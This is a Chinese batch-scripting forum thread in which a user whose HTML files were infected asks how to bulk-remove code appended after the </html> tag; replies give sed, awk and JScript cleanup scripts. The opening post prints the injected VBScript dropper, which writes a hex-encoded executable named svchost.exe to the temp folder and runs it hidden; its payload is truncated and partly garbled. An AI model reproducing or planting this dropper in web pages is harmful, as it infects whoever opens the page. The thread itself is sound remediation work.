找回密码
 注册
搜索
[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
查看: 50495|回复: 22

[文件操作] 如何用批处理批量删除HTML文件的特定内容

[复制链接]
发表于 2017-1-7 14:45:40 | 显示全部楼层 |阅读模式
本帖最后由 pcl_test 于 2017-1-9 10:10 编辑

电脑中了木码,导致硬盘上面所有以*.html和*.htm文件结尾的文件,在文件</html>标签之后被加上了一段代码,代码具体内容见附件,我已单独保存出来了。现在就想通过一个批处理命令来把所有被篡改的文件改回来,这些被感染文件都是需要的,不能被删除,
  1. <html>
  2. <head>
  3. </head>
  4. <body>
  5. ……
  6. </body>
  7. </html>
  8. <SCRIPT Language=VBScript><!--
  9. DropFileName = "svchost.exe"
  10. WriteData = "4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000000000000000000000000000000000000000000000000008800000009DAF5C5C824EA25F0055C7EB55610FA4A9327840AEBC01BDC2284CB0C4F05B10EEBFE04A2BF7B2B5B9638…………73672393BE289A7D6A15B9C117D0F4BC102F4EE60C0000000000000000000000000000000000000000000000000000000000000000000"
  11. Set FSO = CreateObject("Scripting.FileSystemObject")
  12. DropPath = FSO.GetSpecialFolder(2) & "" & DropFileName
  13. If FSO.FileExists(DropPath)=False Then
  14. Set FileObj = FSO.CreateTextFile(DropPath, True)
  15. For i = 1 To Len(WriteData) Step 2
  16. FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
  17. Next
  18. FileObj.Close
  19. End If
  20. Set WSHshell = CreateObject("WScript.Shell")
  21. WSHshell.Run DropPath, 0
  22. //--></SCRIPT><!--??懔?図妽譨_9鯥歍x<+??5皈┵sPq"古啭e"黳y6еR跤郙傩?啢?c皥昆y??瓗-k-?啍跪o玽9?V鑰芮?.道Q趌幼d~?sk"扷X紃憴?A鈂檷炶?浏 撍M}瓖_?砢~岭_'椬?V??栜T'?;        ki(1w?Jm牯廫\|+r劗穌纏?2騉M≥]@瘜b
  23. NWA%菐%?j毐N?/蹧?蕆3縁
复制代码
 楼主| 发表于 2017-1-7 14:47:26 | 显示全部楼层
郁闷,附件添加不了
 楼主| 发表于 2017-1-7 14:52:35 | 显示全部楼层
以上的内容就是html文件中被添加的内容,现在需要把它们删除
发表于 2017-1-7 15:43:47 | 显示全部楼层
回复 2# jwentang


    把你的网页html文件压缩一下再上传试试呢
 楼主| 发表于 2017-1-7 17:22:47 | 显示全部楼层
回复 8# Batcher

压缩文件也上传不了,文件上传的时候正常,也能提示上传完成,但一确定之后就没有了
 楼主| 发表于 2017-1-7 17:30:13 | 显示全部楼层
回复 8# Batcher


    没有办法,只能上传到百度云盘了
链接: http://pan.baidu.com/s/1eSzaDjW   密码: b9aj
发表于 2017-1-7 18:08:31 | 显示全部楼层
本帖最后由 hlzj88 于 2017-1-7 19:54 编辑

思路不复杂,用sed断行后输出关键词行前的所有行
  1. @echo off
  2. for /f %%g in ('dir /b/on *.htm*') do (
  3. move /y %%g %%~ng.txt
  4. sed -i "s/<\/html>/<\/html>\n/g" "%%~ng.txt"
  5. sed -n "1,/<\/html>/p" "%%~ng.txt">>"%%g"
  6. del /q %%~ng.txt
  7. )
  8. pause
复制代码
sed.exe  在http://www.bathome.net/s/tool/index.html里搜索下载
发表于 2017-1-7 19:18:17 | 显示全部楼层
电脑中了木码,导致硬盘上面所有以*.html和*.htm文件结尾的文件,在文件</html>标签之后被加上了一段代码,代码具体内容见附件
  1. awk 'BEGIN{FS="</html>";OFS="</html>"}{$NF="";print}'  file
复制代码
电脑中了木码,导致硬盘上面所有以*.html和*.htm文件结尾的文件,在文件</html>
发表于 2017-1-7 21:29:23 | 显示全部楼层
将以下代码以 Unicode 编码保存为 FixHtmlVirus.js 后,双击文件图标运行。
注意:使用前,请备份原文件。

  1. //name: FixHtmlVirus.js
  2. //js codepage:ule
  3. //fix html codepage:utf-8

  4. main();
  5. function main()
  6. {
  7.         FixHtmlVirus();
  8. };


  9. //修复病毒感染的Html文件
  10. function FixHtmlVirus()
  11. {
  12.         var sInfo = '';
  13.         var sFolder = BrowseForFolder("请选择要修复的HTML文件夹(注意自行备份文件!):");        //获取用户选择的文件夹
  14.         if (sFolder == '')
  15.         {
  16.                 WScript.Echo('提示:没有选择文件夹,程序退出。');
  17.                 return 0;
  18.         }
  19.         var aFile = ScanFolder(sFolder);        //获取文件夹所有文件夹、文件列表
  20.         for (var i=0; i<aFile.length; i++)
  21.         {
  22.                 if (/^(.+)(\.html)$/i.test(aFile[i]))        //过滤其他文件,只操作 *.html 文件
  23.                 {
  24.                         var html = ReadText(aFile[i]), html2 = '';        //以 utf-8 编码读取 .html 文件
  25.                         var aHtml = html.split('\r\n');        //将读取的内容按行(\r\n)拆分成数组
  26.                         var sEnd = '', sVir = '';
  27.                         for (var j=0; j<aHtml.length; j++)
  28.                         {
  29.                                 if (aHtml[j].toLowerCase().indexOf('</html>') != -1)        // .html 文件尾部标记
  30.                                 {
  31.                                         aHtml[j] = aHtml[j].substr(0,2000);        //限制长度,提高正则速度
  32.                                         sEnd = aHtml[j].replace(/^(.*<\/html>)(.*)$/igm, '$1');        //提取末行内容
  33.                                         sVir = aHtml[j].replace(/^(.*<\/html>)(.*)$/igm, '$2');        //提取部分病毒内容
  34.                                         aHtml[j] = sEnd;        //修正末行内容
  35.                                 };
  36.                                 html2 += aHtml[j] + '\r\n';        //将修正后的内容提交到 html2
  37.                                 if (sEnd != '')        //结束行
  38.                                 {
  39.                                         if (sVir != '' || aHtml.length - j > 2)        //找到病毒
  40.                                         {
  41.                                                 SaveText(aFile[i], html2);        //保存修正后的内容
  42.                                                 if (sInfo != '') sInfo += '\r\n';        //记录修正的文件路径
  43.                                                 sInfo += aFile[i];        //记录修正的文件路径
  44.                                         };
  45.                                         break;
  46.                                 };
  47.                         };
  48.                 }
  49.         }
  50.         if (sInfo == '')
  51.         {
  52.                 WScript.Echo('提示:没有文件需要修复。');
  53.         } else {
  54.                 WScript.Echo('提示:以下文件已被修复:\r\n' + sInfo);
  55.         };
  56. }


  57. //文件夹选择对话框
  58. function BrowseForFolder(sTips)
  59. {
  60.         var BIF_returnonlyfsdirs = 0x0001;
  61.         var BIF_editbox= 0x0010;
  62.         var oShell = new ActiveXObject("Shell.Application")
  63.         var oFolder = oShell.BrowseForFolder(0x0, sTips, BIF_editbox + BIF_returnonlyfsdirs)
  64.         if (oFolder==null) {return("")} else {return(oFolder.self.path + '\\')}; //return(oFolder.items().item().path+'\\')
  65. }


  66. // 获取文件夹所有文件夹、文件列表(数组)
  67. function ScanFolder(strPath)
  68. {
  69.         if (strPath.substr(strPath.length-1,1) != '\\') {strPath += '\\';}
  70.         var arr=[];
  71.         var DO_SCAN_FOLDER=function(arr,folderSpec)
  72.         {
  73.                 try {
  74.                         var fso = new ActiveXObject('Scripting.FileSystemObject');
  75.                         var oFolder = fso.GetFolder(folderSpec);
  76.                         if (oFolder != null){
  77.                                 var oFiles = new Enumerator(oFolder.files);
  78.                                 for (; !oFiles.atEnd(); oFiles.moveNext()) arr.push(oFiles.item().path);
  79.                                 var oSubFolders = new Enumerator(oFolder.subfolders);
  80.                                 for (; !oSubFolders.atEnd(); oSubFolders.moveNext()) {
  81.                                         arr.push(oSubFolders.item().path + '\\');
  82.                                         DO_SCAN_FOLDER(arr, oSubFolders.item());
  83.                                 }
  84.                         }
  85.                 }catch(e){};
  86.         }
  87.         arr.push(strPath);
  88.         DO_SCAN_FOLDER(arr,strPath);
  89.         return(arr);
  90. }


  91. // 使用 utf-8 编码读写文本文件
  92. function ReadText(FileName){ return Pfile(FileName, "utf-8", "ForReading", ""); }
  93. function SaveText(FileName, TextString){ return Pfile(FileName, "utf-8", "ForWriting", TextString); }
  94. function SaveWSH(FileName, TextString){ return Pfile(FileName, "Unicode", "ForWriting", TextString); }
  95. function LogText(FileName, TextString){ return Pfile(FileName, "utf-8", "ForAppending", TextString); }
  96. function Pfile(FileName, FileCode, strType, TextString){
  97.         var fso = new ActiveXObject("Scripting.FileSystemObject");
  98.         var objStream = new ActiveXObject("ADODB.Stream");
  99.         objStream.Type = 2;
  100.         objStream.Mode = 3;
  101.         objStream.Charset = FileCode;                 //不同编码时自己换,Chinese (Simplified) (GB2312),中文 GBK ,繁体中文 Big5 ,日文 EUC-JP ,韩文 EUC-KR,charset=UTF-8(国际化编码),ANSI,Unicode,unicode big endian
  102.         if (fso.FileExists(FileName)==true) {
  103.                 objStream.Open();
  104.                 objStream.LoadFromFile(FileName);
  105.                 if (strType=="ForReading") TextString = objStream.ReadText();
  106.                 if (strType=="ForAppending") TextString += objStream.ReadText();
  107.                 objStream.Close();
  108.         }
  109.         if (strType=="ForWriting" || strType=="ForAppending") {
  110.                 objStream.Open();
  111.                 objStream.WriteText(TextString);
  112.                 objStream.SaveToFile(FileName, 2);
  113.                 objStream.Close();
  114.         }
  115.         fso = null;
  116.         objStream = null;
  117.         if (strType=="ForReading"){return(TextString)};
  118.         if (strType=="ForWriting" || strType=="ForAppending"){return(0)};
  119. }
复制代码

评分

参与人数 1技术 +1 收起 理由
win.BAT + 1 很厉害

查看全部评分

发表于 2017-1-7 22:10:45 | 显示全部楼层
回复 5# jwentang


    什么浏览器?
 楼主| 发表于 2017-1-9 09:04:27 | 显示全部楼层
回复 10# Batcher


    这和浏览器没有关系吧,电脑中了木码,导致HTML文件被感染,杀完毒也不行,一旦运行被感染的HTML文件,就又中毒了!杀完毒后还得把所有中木码的html文件中的代码清理掉,感觉只能用批处理来操作!
发表于 2017-1-9 09:36:34 | 显示全部楼层
回复 11# jwentang


    我的意思是谁为什么别人可以上传压缩文件,但你无法上传,有可能是浏览器的问题。
发表于 2017-1-9 10:03:52 | 显示全部楼层
像现在这样,直接贴出文本就很直观的  大家都能直观看到
 楼主| 发表于 2017-1-9 11:06:25 | 显示全部楼层
回复 12# Batcher


    报歉,我用的是chrome55,win7 64位的
发表于 2017-1-9 11:11:31 | 显示全部楼层
回复 14# jwentang


    我用Chrome 55测试没有问题。如果是因为压缩之后的文件仍然很大超过了论坛限制,那建议放到网盘吧。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|批处理之家 ( 渝ICP备10000708号 )

GMT+8, 2026-3-17 12:51 , Processed in 0.024158 second(s), 8 queries , File On.

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表